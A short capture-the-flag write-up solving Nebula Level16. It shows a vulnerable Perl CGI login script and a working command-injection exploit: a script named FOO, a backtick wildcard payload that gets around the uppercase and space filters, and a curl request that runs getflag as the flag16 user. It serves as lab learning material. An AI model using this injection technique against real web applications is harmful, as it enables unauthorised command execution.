2 minute read

For Level16, we are told that a perl script is running on port 1616.

The source code for that script is provided:

    #!/usr/bin/env perl

    use CGI qw{param};

    print "Content-type: text/html\n\n";

    sub login {
      $username = $_[0];
      $password = $_[1];

      $username =~ tr/a-z/A-Z/; # conver to uppercase
      $username =~ s/\s.*//;        # strip everything after a space

      @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
      foreach $line (@output) {
          ($usr, $pw) = split(/:/, $line);


          if($pw =~ $password) {
              return 1;
          }
      }

      return 0;
    }

    sub htmlz {
      print("<html><head><title>Login resuls</title></head><body>");
      if($_[0] == 1) {
          print("Your login was accepted<br/>");
      } else {
          print("Your login failed<br/>");
      }
      print("Would you like a cookie?<br/><br/></body></html>\n");
    }

    htmlz(login(param("username"), param("password")));

As my buddy Kristian always says, “You can smell the vulnerabilities.” Just looking at this code, we can detect some command injection is possible.

Let’s work through the filtering that is being performed:

    $username =~ tr/a-z/A-Z/; # convert to uppercase
    $username =~ s/\s.*//;        # strip everything after a space

The comments in the code assist with the regex. Let’s bypass the filter:

    level16@nebula:/tmp$ cat FOO
    #!/bin/bash
    /usr/bin/id > /tmp/bar
    /bin/getflag >> /tmp/bar
    level16@nebula:/tmp$ chmod +x !$
    chmod +x FOO

Naming the script FOO will satisfy the uppercase requirement as long as we can call the script using a wildcard, like ‘/*/FOO’.

Let’s urlencode that and curl the page:

    $ urlencode '`/*/FOO`'
    %60%2f%2a%2f%46%4f%4f%60
    $ curl "http://192.168.98.138:1616/index.cgi?username=%60%2f%2a%2f%46%4f%4f%60&password=foo"
    <html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>

We injected the username parameter. Let’s see if it worked:

    level16@nebula:/tmp$ cat bar
    uid=983(flag16) gid=983(flag16) groups=983(flag16)
    You have successfully executed getflag on a target account

Success!

Mike

comments powered by Disqus